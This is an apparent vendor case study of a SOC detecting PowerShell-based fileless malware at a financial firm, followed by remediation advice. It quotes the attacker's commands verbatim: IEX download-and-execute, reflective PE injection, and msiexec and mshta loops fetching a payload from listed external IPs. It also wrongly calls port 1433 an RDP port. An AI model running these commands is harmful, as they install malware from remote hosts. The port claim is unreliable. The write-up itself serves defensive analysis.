PowerShell Threat Neutralized by MSP of Financial Client

The Network: A well-known Managed Service Provider (MSP) uses Netsurion’s solution to provide SOC-as-a-Service (SOCaaS) to their end clients. The impacted end client is in the financial services industry with personally identifiable information (PII) and sensitive data to protect for 300 employees and their devices.

The Expectation: Preventative defenses such as Anti-Virus (AV) are working. Comprehensive alerting with detection and response provides advanced cybersecurity, even against stealthy file-less malware. Rapid managed threat protection mitigates threats and minimizes damage.

The Catch: Netsurion’s SOC (Security Operations Center) detected malware that leveraged Microsoft’s PowerShell script to download and install file-less malware, commonly-used adversary techniques to bypass Anti-Virus (AV) software.

The Find: Our security analyst used the advanced logic in the Netsurion Managed XDR platform to detect a suspicious command with cmd.exe invoking PowerShell to download a suspicious file. PowerShell’s malicious use is often not detected or stopped by traditional endpoint defenses, as files and commands are not written to disk. The Netsurion SOC actively investigate for suspicious use of well-known attack vectors such as PowerShell, a common sysadmin tool.

Command Line:
“C:WindowsSystem32WindowsPowerShell
v1.0powershell.exe” -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString
(‘http://rawcdn.githack.com/28308/256/
388472586c8aed167752f6174e7de42660b68551
/Sqlexec/pe.jpg’); Invoke-ReflectivePEInjection
-PEUrl http://rawcdn.githack.com/28308/256/
388472586c8aed167752f6174e7de42660b68551
/Sqlexec/1603232.jpg
-ExeArgs ‘”Cmd /c for /d %i in (45.76.32.126:11946 158.247.198.237:17607
222.184.122.3:19028) do Msiexec /i http://%i/785AD053.moe /Q”‘ -ForceA”

The attacker then tried to evade detection using:

Observation: The Netsurion SOC investigation uncovers suspicious behavior that installed the downloaded file using various techniques- Through CMD directly, CMD directly mshat.exe, and at last cmd.exe invoking Microsoft’s PowerShell.

“C:WindowsSystem32cmd.exe” /c for /d %i in (45.76.32.126:11946 158.247.198.237:17607 222.184.122.3:19028) do Msiexec /i http://%i/785AD053.moe /Q

“C:Windowssystem32cmd.exe” /c mshta vbscript:createobject(“wscript.shell”).run(“Cmd /c for /d %i in (45.76.32.126:11946 158.247.198.237:17607 222.184.122.3:19028) do Msiexec /i http://%i/785AD053.moe /Q”,0)(window.close)

Additionally: Netsurion’s SOC observed that many IP addresses with poor reputation were making an inbound connection to the machine on ports 1433 and 3389, which are the well-known ports for Remote Desktop Protocol (RDP).

The Fix: Netsurion’s SOC provided remediation guidance for the MSP to share with their end-user client regarding the compromise. The security analyst continued to monitor the network for further infection. We recommend the following countermeasures to protect the MSP, their financial services client, and the extended supply chain:

• Use PowerShell v5 or higher that provides improved usability, control, and security for this ubiquitous admin tool. Also, limit access and use of PowerShell to those with a “need to use” and monitored level of admin privileges.
• Apply Microsoft patches as quickly as feasible as cyber criminals are actively targeting users of this pervasive technology.
• Implement network segmentation to limit the “blast radius” of any potential attack.
• Restrict access to known or certain IP addresses that are linked to business requirements for the ports 1433, 3389.
• Isolate impacted systems and re-image devices to protect against further compromise.
• Monitor the attack surface with a 24/7/365 SOC as people, process, and technology are all needed to reduce cyber risk and detect advanced threats; technology alone is not sufficient.

The Lesson: With the rise of remote work, the use of RDP as a target vector has increased 768%. The immediate need would be to enhance the alert matching rules to detect the advanced PowerShell commands that are used to evade security tools in the environment. Comprehensive 24/7/365 monitoring and managed threat protection is critical for holistic visibility and detection.